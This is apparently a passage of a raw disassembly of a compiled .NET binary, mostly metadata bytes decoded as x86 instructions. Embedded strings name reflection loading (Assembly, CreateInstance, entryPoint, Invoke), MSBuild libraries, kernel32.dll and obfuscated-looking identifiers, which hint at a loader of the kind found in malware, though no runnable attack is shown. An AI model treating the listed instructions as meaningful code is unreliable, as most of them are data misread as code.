465e1a:	1b 00                	sbb    (%eax),%eax
465e1c:	02 00                	add    (%eax),%al
465e1e:	48                   	dec    %eax
465e1f:	00 1b                	add    %bl,(%ebx)
465e21:	00 01                	add    %al,(%ecx)
465e23:	00 4b 00             	add    %cl,0x0(%ebx)
465e26:	1d 00 02 00 4a       	sbb    $0x4a000200,%eax
465e2b:	00 1d 00 01 00 4d    	add    %bl,0x4d000100
465e31:	00 1f                	add    %bl,(%edi)
465e33:	00 02                	add    %al,(%edx)
465e35:	00 4c 00 1f          	add    %cl,0x1f(%eax,%eax,1)
465e39:	00 01                	add    %al,(%ecx)
465e3b:	00 4f 00             	add    %cl,0x0(%edi)
465e3e:	21 00                	and    %eax,(%eax)
465e40:	02 00                	add    (%eax),%al
465e42:	4e                   	dec    %esi
465e43:	00 21                	add    %ah,(%ecx)
465e45:	00 01                	add    %al,(%ecx)
465e47:	00 51 00             	add    %dl,0x0(%ecx)
465e4a:	23 00                	and    (%eax),%eax
465e4c:	02 00                	add    (%eax),%al
465e4e:	50                   	push   %eax
465e4f:	00 23                	add    %ah,(%ebx)
465e51:	00 01                	add    %al,(%ecx)
465e53:	00 53 00             	add    %dl,0x0(%ebx)
465e56:	25 00 02 00 52       	and    $0x52000200,%eax
465e5b:	00 25 00 01 00 55    	add    %ah,0x55000100
465e61:	00 27                	add    %ah,(%edi)
465e63:	00 02                	add    %al,(%edx)
465e65:	00 54 00 27          	add    %dl,0x27(%eax,%eax,1)
465e69:	00 01                	add    %al,(%ecx)
465e6b:	00 57 00             	add    %dl,0x0(%edi)
465e6e:	29 00                	sub    %eax,(%eax)
465e70:	02 00                	add    (%eax),%al
465e72:	56                   	push   %esi
465e73:	00 29                	add    %ch,(%ecx)
465e75:	00 01                	add    %al,(%ecx)
465e77:	00 59 00             	add    %bl,0x0(%ecx)
465e7a:	2b 00                	sub    (%eax),%eax
465e7c:	02 00                	add    (%eax),%al
465e7e:	58                   	pop    %eax
465e7f:	00 2b                	add    %ch,(%ebx)
465e81:	00 01                	add    %al,(%ecx)
465e83:	00 5b 00             	add    %bl,0x0(%ebx)
465e86:	2d 00 02 00 5a       	sub    $0x5a000200,%eax
465e8b:	00 2d 00 01 00 5d    	add    %ch,0x5d000100
465e91:	00 2f                	add    %ch,(%edi)
465e93:	00 02                	add    %al,(%edx)
465e95:	00 5c 00 2f          	add    %bl,0x2f(%eax,%eax,1)
465e99:	00 01                	add    %al,(%ecx)
465e9b:	00 5f 00             	add    %bl,0x0(%edi)
465e9e:	31 00                	xor    %eax,(%eax)
465ea0:	02 00                	add    (%eax),%al
465ea2:	5e                   	pop    %esi
465ea3:	00 31                	add    %dh,(%ecx)
465ea5:	00 01                	add    %al,(%ecx)
465ea7:	00 61 00             	add    %ah,0x0(%ecx)
465eaa:	33 00                	xor    (%eax),%eax
465eac:	02 00                	add    (%eax),%al
465eae:	60                   	pusha
465eaf:	00 33                	add    %dh,(%ebx)
465eb1:	00 01                	add    %al,(%ecx)
465eb3:	00 63 00             	add    %ah,0x0(%ebx)
465eb6:	35 00 02 00 62       	xor    $0x62000200,%eax
465ebb:	00 35 00 02 00 89    	add    %dh,0x89000200
465ec1:	00 37                	add    %dh,(%edi)
465ec3:	00 02                	add    %al,(%edx)
465ec5:	00 8a 00 39 00 01    	add    %cl,0x1003900(%edx)
465ecb:	00 8d 00 3b 00 02    	add    %cl,0x2003b00(%ebp)
465ed1:	00 8c 00 3b 00 01 00 	add    %cl,0x1003b(%eax,%eax,1)
465ed8:	8f 00                	pop    (%eax)
465eda:	3d 00 02 00 8e       	cmp    $0x8e000200,%eax
465edf:	00 3d 00 01 00 91    	add    %bh,0x91000100
465ee5:	00 3f                	add    %bh,(%edi)
465ee7:	00 02                	add    %al,(%edx)
465ee9:	00 90 00 3f 00 02    	add    %dl,0x2003f00(%eax)
465eef:	00 98 00 41 00 02    	add    %bl,0x2004100(%eax)
465ef5:	00 99 00 43 00 02    	add    %bl,0x2004300(%ecx)
465efb:	00 9a 00 45 00 02    	add    %bl,0x2004500(%edx)
465f01:	00 9b 00 47 00 02    	add    %bl,0x2004700(%ebx)
465f07:	00 9c 00 49 00 02 00 	add    %bl,0x20049(%eax,%eax,1)
465f0e:	9d                   	popf
465f0f:	00 4b 00             	add    %cl,0x0(%ebx)
465f12:	79 00                	jns    0x465f14
465f14:	9a 00 3c 01 7f 03 13 	lcall  $0x1303,$0x7f013c00
465f1b:	04 46                	add    $0x46,%al
465f1d:	04 55                	add    $0x55,%al
465f1f:	04 4d                	add    $0x4d,%al
465f21:	05 5f 05 81 05       	add    $0x581055f,%eax
465f26:	0a 06                	or     (%esi),%al
465f28:	2d 06 33 06 98       	sub    $0x98063306,%eax
465f2d:	06                   	push   %es
465f2e:	ac                   	lods   %ds:(%esi),%al
465f2f:	06                   	push   %es
465f30:	c0 06 1b             	rolb   $0x1b,(%esi)
465f33:	07                   	pop    %es
465f34:	f0 07                	lock pop %es
465f36:	6e                   	outsb  %ds:(%esi),(%dx)
465f37:	08 01                	or     %al,(%ecx)
465f39:	09 46 01             	or     %eax,0x1(%esi)
465f3c:	a7                   	cmpsl  %es:(%edi),%ds:(%esi)
465f3d:	01 ad 24 01 00 04    	add    %ebp,0x4000124(%ebp)
465f43:	80 00 00             	addb   $0x0,(%eax)
465f52:	00 00                	add    %al,(%eax)
465f54:	01 00                	add    %eax,(%eax)
465f56:	00 00                	add    %al,(%eax)
465f58:	04 00                	add    $0x0,%al
465f62:	00 00                	add    %al,(%eax)
465f64:	01 00                	add    %eax,(%eax)
465f66:	14 00                	adc    $0x0,%al
465f68:	00 00                	add    %al,(%eax)
465f6a:	00 00                	add    %al,(%eax)
465f6c:	04 00                	add    $0x0,%al
465f76:	00 00                	add    %al,(%eax)
465f78:	01 00                	add    %eax,(%eax)
465f7a:	1d 00 00 00 00       	sbb    $0x0,%eax
465f7f:	00 04 00             	add    %al,(%eax,%eax,1)
465f8a:	00 00                	add    %al,(%eax)
465f8c:	01 00                	add    %eax,(%eax)
465f8e:	29 00                	sub    %eax,(%eax)
465f90:	00 00                	add    %al,(%eax)
465f92:	00 00                	add    %al,(%eax)
465f94:	04 00                	add    $0x0,%al
465f9e:	00 00                	add    %al,(%eax)
465fa0:	0a 00                	or     (%eax),%al
465fa2:	30 00                	xor    %al,(%eax)
465fa4:	00 00                	add    %al,(%eax)
465fa6:	00 00                	add    %al,(%eax)
465fa8:	04 00                	add    $0x0,%al
465fb2:	00 00                	add    %al,(%eax)
465fb4:	0a 00                	or     (%eax),%al
465fb6:	4a                   	dec    %edx
465fb7:	00 00                	add    %al,(%eax)
465fb9:	00 00                	add    %al,(%eax)
465fbb:	00 04 00             	add    %al,(%eax,%eax,1)
465fc6:	00 00                	add    %al,(%eax)
465fc8:	01 00                	add    %eax,(%eax)
465fca:	69 00 00 00 00 00    	imul   $0x0,(%eax),%eax
465fd0:	00 00                	add    %al,(%eax)
465fd2:	00 00                	add    %al,(%eax)
465fd4:	01 00                	add    %eax,(%eax)
465fd6:	00 00                	add    %al,(%eax)
465fd8:	86 00                	xchg   %al,(%eax)
465fda:	00 00                	add    %al,(%eax)
465fdc:	05 00 04 00 0c       	add    $0xc000400,%eax
465fe1:	00 0b                	add    %cl,(%ebx)
465fe3:	00 0d 00 0b 00 0f    	add    %cl,0xf000b00
465fe9:	00 0e                	add    %cl,(%esi)
465feb:	00 10                	add    %dl,(%eax)
465fed:	00 0e                	add    %cl,(%esi)
465fef:	00 11                	add    %dl,(%ecx)
465ff1:	00 0e                	add    %cl,(%esi)
465ff3:	00 18                	add    %bl,(%eax)
465ff5:	00 17                	add    %dl,(%edi)
465ff7:	00 19                	add    %bl,(%ecx)
465ff9:	00 17                	add    %dl,(%edi)
465ffb:	00 1a                	add    %bl,(%edx)
465ffd:	00 17                	add    %dl,(%edi)
465fff:	00 1c 00             	add    %bl,(%eax,%eax,1)
466002:	1b 00                	sbb    (%eax),%eax
466004:	31 00                	xor    %eax,(%eax)
466006:	0d 01 33 00 0d       	or     $0xd003301,%eax
46600b:	01 41 00             	add    %eax,0x0(%ecx)
46600e:	61                   	popa
46600f:	01 43 00             	add    %eax,0x0(%ebx)
466012:	61                   	popa
466013:	01 41 00             	add    %eax,0x0(%ecx)
466016:	4f                   	dec    %edi
466017:	04 9d                	add    $0x9d,%al
466019:	00 78 04             	add    %bh,0x4(%eax)
46601c:	f5                   	cmc
46601d:	00 9a 05 f7 00 ab    	add    %bl,-0x54ff08fb(%edx)
466023:	05 01 01 d5 05       	add    $0x5d50101,%eax
466028:	f5                   	cmc
466029:	00 4f 04             	add    %cl,0x4(%edi)
46602c:	69 01 17 08 43 00    	imul   $0x430817,(%ecx),%eax
466032:	d5 05                	aad    $0x5
466034:	00 52 56             	add    %dl,0x56(%edx)
466037:	65 49                	gs dec %ecx
466039:	4a                   	dec    %edx
46603a:	70 62                	jo     0x46609e
46603c:	55                   	push   %ebp
46603d:	73 6b                	jae    0x4660aa
46603f:	6f                   	outsl  %ds:(%esi),(%dx)
466040:	43                   	inc    %ebx
466041:	70 78                	jo     0x4660bb
466043:	56                   	push   %esi
466044:	68 6d 61 00 6d       	push   $0x6d00616d
466049:	73 63                	jae    0x4660ae
46604b:	6f                   	outsl  %ds:(%esi),(%dx)
46604c:	72 6c                	jb     0x4660ba
46604e:	69 62 00 53 79 73 74 	imul   $0x74737953,0x0(%edx),%esp
466055:	65 6d                	gs insl (%dx),%es:(%edi)
466057:	2e 43                	cs inc %ebx
466059:	6f                   	outsl  %ds:(%esi),(%dx)
46605a:	72 65                	jb     0x4660c1
46605c:	00 53 79             	add    %dl,0x79(%ebx)
46605f:	73 74                	jae    0x4660d5
466061:	65 6d                	gs insl (%dx),%es:(%edi)
466063:	00 4d 69             	add    %cl,0x69(%ebp)
466066:	63 72 6f             	arpl   %esi,0x6f(%edx)
466069:	73 6f                	jae    0x4660da
46606b:	66 74 2e             	data16 je 0x46609c
46606e:	42                   	inc    %edx
46606f:	75 69                	jne    0x4660da
466071:	6c                   	insb   (%dx),%es:(%edi)
466072:	64 2e 46             	fs cs inc %esi
466075:	72 61                	jb     0x4660d8
466077:	6d                   	insl   (%dx),%es:(%edi)
466078:	65 77 6f             	gs ja  0x4660ea
46607b:	72 6b                	jb     0x4660e8
46607d:	00 4d 69             	add    %cl,0x69(%ebp)
466080:	63 72 6f             	arpl   %esi,0x6f(%edx)
466083:	73 6f                	jae    0x4660f4
466085:	66 74 2e             	data16 je 0x4660b6
466088:	42                   	inc    %edx
466089:	75 69                	jne    0x4660f4
46608b:	6c                   	insb   (%dx),%es:(%edi)
46608c:	64 2e 55             	fs cs push %ebp
46608f:	74 69                	je     0x4660fa
466091:	6c                   	insb   (%dx),%es:(%edi)
466092:	69 74 69 65 73 2e 76 	imul   $0x34762e73,0x65(%ecx,%ebp,2),%esi
466099:	34
46609a:	2e 30 00             	xor    %al,%cs:(%eax)
46609d:	53                   	push   %ebx
46609e:	79 73                	jns    0x466113
4660a0:	74 65                	je     0x466107
4660a2:	6d                   	insl   (%dx),%es:(%edi)
4660a3:	2e 58                	cs pop %eax
4660a5:	6d                   	insl   (%dx),%es:(%edi)
4660a6:	6c                   	insb   (%dx),%es:(%edi)
4660a7:	2e 4c                	cs dec %esp
4660a9:	69 6e 71 00 6b 65 72 	imul   $0x72656b00,0x71(%esi),%ebp
4660b0:	6e                   	outsb  %ds:(%esi),(%dx)
4660b1:	65 6c                	gs insb (%dx),%es:(%edi)
4660b3:	33 32                	xor    (%edx),%esi
4660b5:	2e 64 6c             	cs fs insb (%dx),%es:(%edi)
4660b8:	6c                   	insb   (%dx),%es:(%edi)
4660b9:	00 55 43             	add    %dl,0x43(%ebp)
4660bc:	4f                   	dec    %edi
4660bd:	4d                   	dec    %ebp
4660be:	49                   	dec    %ecx
4660bf:	45                   	inc    %ebp
4660c0:	6e                   	outsb  %ds:(%esi),(%dx)
4660c1:	75 6d                	jne    0x466130
4660c3:	65 72 61             	gs jb  0x466127
4660c6:	62 6c 65 2e          	bound  %ebp,0x2e(%ebp,%eiz,2)
4660ca:	64 6f                	outsl  %fs:(%esi),(%dx)
4660cc:	6f                   	outsl  %ds:(%esi),(%dx)
4660cd:	6d                   	insl   (%dx),%es:(%edi)
4660ce:	65 72 00             	gs jb  0x4660d1
4660d1:	3c 4d                	cmp    $0x4d,%al
4660d3:	6f                   	outsl  %ds:(%esi),(%dx)
4660d4:	64 75 6c             	fs jne 0x466143
4660d7:	65 3e 00 4e 61       	gs add %cl,%ds:0x61(%esi)
4660dc:	74 69                	je     0x466147
4660de:	76 65                	jbe    0x466145
4660e0:	4d                   	dec    %ebp
4660e1:	65 74 68             	gs je  0x46614c
4660e4:	6f                   	outsl  %ds:(%esi),(%dx)
4660e5:	64 42                	fs inc %edx
4660e7:	6f                   	outsl  %ds:(%esi),(%dx)
4660e8:	64 79 00             	fs jns 0x4660eb
4660eb:	4f                   	dec    %edi
4660ec:	62 6a 65             	bound  %ebp,0x65(%edx)
4660ef:	63 74 00 2e          	arpl   %esi,0x2e(%eax,%eax,1)
4660f3:	63 74 6f 72          	arpl   %esi,0x72(%edi,%ebp,2)
4660f7:	00 4e 61             	add    %cl,0x61(%esi)
4660fa:	74 69                	je     0x466165
4660fc:	76 65                	jbe    0x466163
4660fe:	54                   	push   %esp
4660ff:	79 70                	jns    0x466171
466101:	65 00 6f 62          	add    %ch,%gs:0x62(%edi)
466105:	6a 65                	push   $0x65
466107:	63 74 5f 30          	arpl   %esi,0x30(%edi,%ebx,2)
46610b:	00 41 73             	add    %al,0x73(%ecx)
46610e:	73 65                	jae    0x466175
466110:	6d                   	insl   (%dx),%es:(%edi)
466111:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
466115:	53                   	push   %ebx
466116:	79 73                	jns    0x46618b
466118:	74 65                	je     0x46617f
46611a:	6d                   	insl   (%dx),%es:(%edi)
46611b:	2e 52                	cs push %edx
46611d:	65 66 6c             	gs data16 insb (%dx),%es:(%edi)
466120:	65 63 74 69 6f       	arpl   %esi,%gs:0x6f(%ecx,%ebp,2)
466125:	6e                   	outsb  %ds:(%esi),(%dx)
466126:	00 43 72             	add    %al,0x72(%ebx)
466129:	65 61                	gs popa
46612b:	74 65                	je     0x466192
46612d:	49                   	dec    %ecx
46612e:	6e                   	outsb  %ds:(%esi),(%dx)
46612f:	73 74                	jae    0x4661a5
466131:	61                   	popa
466132:	6e                   	outsb  %ds:(%esi),(%dx)
466133:	63 65 00             	arpl   %esp,0x0(%ebp)
466136:	49                   	dec    %ecx
466137:	50                   	push   %eax
466138:	4d                   	dec    %ebp
466139:	75 6c                	jne    0x4661a7
46613b:	74 69                	je     0x4661a6
46613d:	63 61 73             	arpl   %esp,0x73(%ecx)
466140:	74 52                	je     0x466194
466142:	65 71 75             	gs jno 0x4661ba
466145:	65 73 74             	gs jae 0x4661bc
466148:	00 4d 65             	add    %cl,0x65(%ebp)
46614b:	74 68                	je     0x4661b5
46614d:	6f                   	outsl  %ds:(%esi),(%dx)
46614e:	64 49                	fs dec %ecx
466150:	6e                   	outsb  %ds:(%esi),(%dx)
466151:	66 6f                	outsw  %ds:(%esi),(%dx)
466153:	00 61 73             	add    %ah,0x73(%ecx)
466156:	73 65                	jae    0x4661bd
466158:	6d                   	insl   (%dx),%es:(%edi)
466159:	62 6c 79 00          	bound  %ebp,0x0(%ecx,%edi,2)
46615d:	65 6e                	outsb  %gs:(%esi),(%dx)
46615f:	74 72                	je     0x4661d3
466161:	79 50                	jns    0x4661b3
466163:	6f                   	outsl  %ds:(%esi),(%dx)
466164:	69 6e 74 00 4d 65 74 	imul   $0x74654d00,0x74(%esi),%ebp
46616b:	68 6f 64 42 61       	push   $0x6142646f
466170:	73 65                	jae    0x4661d7
466172:	00 49 6e             	add    %cl,0x6e(%ecx)
466175:	76 6f                	jbe    0x4661e6
466177:	6b 65 00 4c          	imul   $0x4c,0x0(%ebp),%esp
46617b:	61                   	popa
46617c:	7a 79                	jp     0x4661f7
46617e:	49                   	dec    %ecx
46617f:	6e                   	outsb  %ds:(%esi),(%dx)
466180:	69 74 69 61 6c 69 7a 	imul   $0x657a696c,0x61(%ecx,%ebp,2),%esi
466187:	65
466188:	72 00                	jb     0x46618a
46618a:	53                   	push   %ebx
46618b:	74 72                	je     0x4661ff
46618d:	69 6e 67 00 41 63 63 	imul   $0x63634100,0x67(%esi),%ebp
466194:	65 73 73             	gs jae 0x46620a
466197:	43                   	inc    %ebx
466198:	6f                   	outsl  %ds:(%esi),(%dx)
466199:	6e                   	outsb  %ds:(%esi),(%dx)
46619a:	74 72                	je     0x46620e
46619c:	6f                   	outsl  %ds:(%esi),(%dx)
46619d:	6c                   	insb   (%dx),%es:(%edi)
46619e:	54                   	push   %esp
46619f:	79 70                	jns    0x466211
4661a1:	65 00 41 70          	add    %al,%gs:0x70(%ecx)
4661a5:	70 44                	jo     0x4661eb
4661a7:	6f                   	outsl  %ds:(%esi),(%dx)
4661a8:	6d                   	insl   (%dx),%es:(%edi)
4661a9:	61                   	popa
4661aa:	69 6e 00 67 65 74 5f 	imul   $0x5f746567,0x0(%esi),%ebp